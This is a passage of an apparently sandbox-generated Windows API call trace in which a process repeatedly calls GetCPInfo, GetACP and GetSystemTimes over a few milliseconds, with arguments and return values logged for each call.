lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.578] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.578] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.579] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.579] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.580] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.580] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.581] GetACP () returned 0x4e4 [0053.581] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.582] GetACP () returned 0x4e4 [0053.582] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.583] GetACP () returned 0x4e4 [0053.583] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.584] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.584] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.585] GetACP () returned 0x4e4 [0053.585] GetSystemTimes (in: lpIdleTime=0x18fa70, 